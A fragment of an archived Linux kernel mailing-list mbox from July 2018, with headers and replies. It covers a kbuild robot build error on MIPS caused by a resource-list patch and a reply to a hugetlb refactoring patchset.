>> :::::: 73b4390fb23456964201abda79f1210fe337d01a [MIPS] Routerboard 532: Support for base system
>>
>> :::::: TO: Ralf Baechle <ralf@linux-mips.org>
>> :::::: CC: Ralf Baechle <ralf@linux-mips.org>
>>
>> ---
>> 0-DAY kernel test infrastructure                Open Source Technology Center
>> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation
>
>



-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v6 2/4] resource: Use list_head to link sibling resource
Date: Mon, 9 Jul 2018 11:04:03 +0800
Lines: 65
Approved: news@gmane.org
Message-ID: <20180709030403.GJ3047@MiWiFi-R3L-srv>
References: <20180704041038.8190-3-bhe@redhat.com>
 <201807042347.hfDcKxmG%fengguang.wu@intel.com>
 <20180708025946.GI3047@MiWiFi-R3L-srv>
 <CAHp75VcjGQutVtZ90C0huUGCY6yj8H0Wo0tMdrbLmLsRQ+x4XQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531105331 17289 195.159.176.226 (9 Jul 2018 03:02:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jul 2018 03:02:11 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Eric Biederman <ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org>,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Josh Triplett <josh@josh
To: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon Jul 09 05:02:03 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fcMR8-0004KS-Rw
	for gln-linux-nvdimm@m.gmane.org; Mon, 09 Jul 2018 05:02:03 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 7BBF5207DF2A4;
	Sun,  8 Jul 2018 20:04:13 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 1C361207DF2A4
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sun,  8 Jul 2018 20:04:11 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 184984023470;
 Mon,  9 Jul 2018 03:04:10 +0000 (UTC)
Original-Received: from localhost (ovpn-8-25.pek2.redhat.com [10.72.8.25])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id CC8532026D65;
 Mon,  9 Jul 2018 03:04:05 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAHp75VcjGQutVtZ90C0huUGCY6yj8H0Wo0tMdrbLmLsRQ+x4XQ-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Mon, 09 Jul 2018 03:04:10 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Mon, 09 Jul 2018 03:04:10 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10766 gmane.linux.kernel.pci:73828 gmane.linux.kernel.input:61951 gmane.linux.drivers.devicetree:278312 gmane.linux.ports.parisc:28777 gmane.linux.kernel.kexec:21125 gmane.linux.kernel:2814643 gmane.linux.ports.ppc64.devel:159828
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10766>

On 07/08/18 at 08:48pm, Andy Shevchenko wrote:
> On Sun, Jul 8, 2018 at 5:59 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> > On 07/05/18 at 01:00am, kbuild test robot wrote:
> 
> > However, I didn't find below branch. And tried to open it in web
> > broswer, also failed.
> 
> While this is kinda valid point...
> 
> > Could you help have a look at this?
> 
> ...isn't obvious that you didn't change the file mentioned in a report?
> Just take latest linux-next and you will see.

Yes, it's clear to me. Just want to use the way to cross compile them on
ia64 and mips, hope I can find out all missed places on these ARCHes.
Now I think I can apply patches on linux-next, and use the config
attached to compile. Thanks.

> 
> 
> >> All error/warnings (new ones prefixed by >>):
> >>
> >> >> arch/mips/pci/pci-rc32434.c:57:11: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
> >>      .child = &rc32434_res_pci_mem2
> >>               ^
> >>    arch/mips/pci/pci-rc32434.c:57:11: note: (near initialization for 'rc32434_res_pci_mem1.child.next')
> >> >> arch/mips/pci/pci-rc32434.c:51:47: warning: missing braces around initializer [-Wmissing-braces]
> >>     static struct resource rc32434_res_pci_mem1 = {
> >>                                                   ^
> >>    arch/mips/pci/pci-rc32434.c:60:47: warning: missing braces around initializer [-Wmissing-braces]
> >>     static struct resource rc32434_res_pci_mem2 = {
> >>                                                   ^
> >>    cc1: some warnings being treated as errors
> >>
> >> vim +57 arch/mips/pci/pci-rc32434.c
> >>
> >> 73b4390f Ralf Baechle 2008-07-16  50
> >> 73b4390f Ralf Baechle 2008-07-16 @51  static struct resource rc32434_res_pci_mem1 = {
> >> 73b4390f Ralf Baechle 2008-07-16  52          .name = "PCI MEM1",
> >> 73b4390f Ralf Baechle 2008-07-16  53          .start = 0x50000000,
> >> 73b4390f Ralf Baechle 2008-07-16  54          .end = 0x5FFFFFFF,
> >> 73b4390f Ralf Baechle 2008-07-16  55          .flags = IORESOURCE_MEM,
> >> 73b4390f Ralf Baechle 2008-07-16  56          .sibling = NULL,
> >> 73b4390f Ralf Baechle 2008-07-16 @57          .child = &rc32434_res_pci_mem2
> >> 73b4390f Ralf Baechle 2008-07-16  58  };
> >> 73b4390f Ralf Baechle 2008-07-16  59
> >>
> >> :::::: The code at line 57 was first introduced by commit
> >> :::::: 73b4390fb23456964201abda79f1210fe337d01a [MIPS] Routerboard 532: Support for base system
> >>
> >> :::::: TO: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
> >> :::::: CC: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
> >>
> >> ---
> >> 0-DAY kernel test infrastructure                Open Source Technology Center
> >> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation
> >
> >
> 
> 
> 
> -- 
> With Best Regards,
> Andy Shevchenko

From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Mon, 9 Jul 2018 16:16:21 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20180709141621.GD22297@dhcp22.suse.cz>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1531145671 15293 195.159.176.226 (9 Jul 2018 14:14:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Jul 2018 14:14:31 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Kravetz <mike.kravetz@oracle.com>
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 09 16:14:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fcWvo-0003ps-0r
	for glk-linux-kernel-4@m.gmane.org; Mon, 09 Jul 2018 16:14:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933015AbeGIOQb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 9 Jul 2018 10:16:31 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:33830 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S932574AbeGIOQ3 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 9 Jul 2018 10:16:29 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id DFA94ADF3;
        Mon,  9 Jul 2018 14:16:26 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2815224 gmane.linux.ports.arm.kernel:661740 gmane.linux.ports.ia64:28929 gmane.linux.ports.mips.general:65330 gmane.linux.ports.parisc:28778 gmane.linux.ports.ppc64.devel:159853 gmane.linux.ports.sh.devel:57196 gmane.linux.ports.sparc:28098 gmane.linux.kernel.cross-arch:45124
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2815224>

[CC hugetlb guys - http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]

On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
> In order to reduce copy/paste of functions across architectures and then
> make riscv hugetlb port (and future ports) simpler and smaller, this
> patchset intends to factorize the numerous hugetlb primitives that are
> defined across all the architectures.
> 
> Except for prepare_hugepage_range, this patchset moves the versions that
> are just pass-through to standard pte primitives into
> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
> 
> s390 architecture has not been tackled in this serie since it does not
> use asm-generic/hugetlb.h at all.
> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
> 
> This patchset has been compiled on x86 only. 
> 
> Changelog:
> 
> v4:
>   Fix powerpc build error due to misplacing of #include
>   <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>   pointed by Christophe Leroy.
> 
> v1, v2, v3:
>   Same version, just problems with email provider and misuse of
>   --batch-size option of git send-email
> 
> Alexandre Ghiti (11):
>   hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>   hugetlb: Introduce generic version of hugetlb_free_pgd_range
>   hugetlb: Introduce generic version of set_huge_pte_at
>   hugetlb: Introduce generic version of huge_ptep_get_and_clear
>   hugetlb: Introduce generic version of huge_ptep_clear_flush
>   hugetlb: Introduce generic version of huge_pte_none
>   hugetlb: Introduce generic version of huge_pte_wrprotect
>   hugetlb: Introduce generic version of prepare_hugepage_range
>   hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>   hugetlb: Introduce generic version of huge_ptep_set_access_flags
>   hugetlb: Introduce generic version of huge_ptep_get
> 
>  arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>  arch/arm/include/asm/hugetlb.h               | 33 +----------
>  arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>  arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>  arch/mips/include/asm/hugetlb.h              | 40 +++----------
>  arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>  arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>  arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>  arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>  arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>  arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>  arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>  arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>  arch/x86/include/asm/hugetlb.h               | 72 +----------------------
>  include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>  15 files changed, 143 insertions(+), 384 deletions(-)
> 
> -- 
> 2.16.2

-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ye Xiaolong <xiaolong.ye-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [kbuild-all] [PATCH v6 2/4] resource: Use list_head to link
 sibling resource
Date: Tue, 10 Jul 2018 08:59:28 +0800
Lines: 96
Approved: news@gmane.org
Message-ID: <20180710005927.GG10005@yexl-desktop>
References: <20180704041038.8190-3-bhe@redhat.com>
 <201807042347.hfDcKxmG%fengguang.wu@intel.com>
 <20180708025946.GI3047@MiWiFi-R3L-srv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531184487 12494 195.159.176.226 (10 Jul 2018 01:01:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 10 Jul 2018 01:01:27 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, kbuild-all-JC7UmRfGjtg@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec@li
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jul 10 03:01:19 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fch1q-00034l-CY
	for gln-linux-nvdimm@m.gmane.org; Tue, 10 Jul 2018 03:01:18 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 31CE52096DCC4;
	Mon,  9 Jul 2018 18:03:29 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=192.55.52.136; helo=mga12.intel.com;
 envelope-from=xiaolong.ye-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mga12.intel.com (mga12.intel.com [192.55.52.136])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id B5E352096182D
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon,  9 Jul 2018 18:03:28 -0700 (PDT)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
 by fmsmga106.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 09 Jul 2018 18:03:28 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,332,1526367600"; d="scan'208";a="73502988"
Original-Received: from yexl-desktop.sh.intel.com (HELO localhost) ([10.239.159.124])
 by orsmga002.jf.intel.com with ESMTP; 09 Jul 2018 18:03:19 -0700
Content-Disposition: inline
In-Reply-To: <20180708025946.GI3047@MiWiFi-R3L-srv>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10793 gmane.linux.drivers.devicetree:278543 gmane.linux.kernel.pci:73874 gmane.linux.kernel.input:61962 gmane.linux.ports.parisc:28779 gmane.linux.kernel.kexec:21142 gmane.linux.kernel:2815844 gmane.linux.ports.ppc64.devel:159876
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10793>

Hi,

On 07/08, Baoquan He wrote:
>Hi,
>
>On 07/05/18 at 01:00am, kbuild test robot wrote:
>> Hi Baoquan,
>> 
>> I love your patch! Yet something to improve:
>> 
>> [auto build test ERROR on linus/master]
>> [also build test ERROR on v4.18-rc3 next-20180704]
>> [if your patch is applied to the wrong git tree, please drop us a note to help improve the system]
>
>Thanks for telling. 
>
>I cloned 0day-ci/linut to my local pc.
>https://github.com/0day-ci/linux.git
>
>However, I didn't find below branch. And tried to open it in web
>broswer, also failed.
>

Sorry for the inconvenience, 0day bot didn't push the branch to github successfully,
Just push it manually, you can have a try again.

Thanks,
Xiaolong


>
>> url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180704-121402
>> config: mips-rb532_defconfig (attached as .config)
>> compiler: mipsel-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
>> reproduce:
>>         wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
>>         chmod +x ~/bin/make.cross
>>         # save the attached .config to linux build tree
>>         GCC_VERSION=7.2.0 make.cross ARCH=mips 
>
>I did find a old one which is for the old version 5 post.
>
>[bhe@linux]$ git remote -v
>0day-ci	https://github.com/0day-ci/linux.git (fetch)
>0day-ci	https://github.com/0day-ci/linux.git (push)
>[bhe@dhcp-128-28 linux]$ git branch -a| grep Baoquan| grep resource
>  remotes/0day-ci/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600
>
>Could you help have a look at this?
>
>Thanks
>Baoquan
>
>> 
>> All error/warnings (new ones prefixed by >>):
>> 
>> >> arch/mips/pci/pci-rc32434.c:57:11: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
>>      .child = &rc32434_res_pci_mem2
>>               ^
>>    arch/mips/pci/pci-rc32434.c:57:11: note: (near initialization for 'rc32434_res_pci_mem1.child.next')
>> >> arch/mips/pci/pci-rc32434.c:51:47: warning: missing braces around initializer [-Wmissing-braces]
>>     static struct resource rc32434_res_pci_mem1 = {
>>                                                   ^
>>    arch/mips/pci/pci-rc32434.c:60:47: warning: missing braces around initializer [-Wmissing-braces]
>>     static struct resource rc32434_res_pci_mem2 = {
>>                                                   ^
>>    cc1: some warnings being treated as errors
>> 
>> vim +57 arch/mips/pci/pci-rc32434.c
>> 
>> 73b4390f Ralf Baechle 2008-07-16  50  
>> 73b4390f Ralf Baechle 2008-07-16 @51  static struct resource rc32434_res_pci_mem1 = {
>> 73b4390f Ralf Baechle 2008-07-16  52  	.name = "PCI MEM1",
>> 73b4390f Ralf Baechle 2008-07-16  53  	.start = 0x50000000,
>> 73b4390f Ralf Baechle 2008-07-16  54  	.end = 0x5FFFFFFF,
>> 73b4390f Ralf Baechle 2008-07-16  55  	.flags = IORESOURCE_MEM,
>> 73b4390f Ralf Baechle 2008-07-16  56  	.sibling = NULL,
>> 73b4390f Ralf Baechle 2008-07-16 @57  	.child = &rc32434_res_pci_mem2
>> 73b4390f Ralf Baechle 2008-07-16  58  };
>> 73b4390f Ralf Baechle 2008-07-16  59  
>> 
>> :::::: The code at line 57 was first introduced by commit
>> :::::: 73b4390fb23456964201abda79f1210fe337d01a [MIPS] Routerboard 532: Support for base system
>> 
>> :::::: TO: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
>> :::::: CC: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
>> 
>> ---
>> 0-DAY kernel test infrastructure                Open Source Technology Center
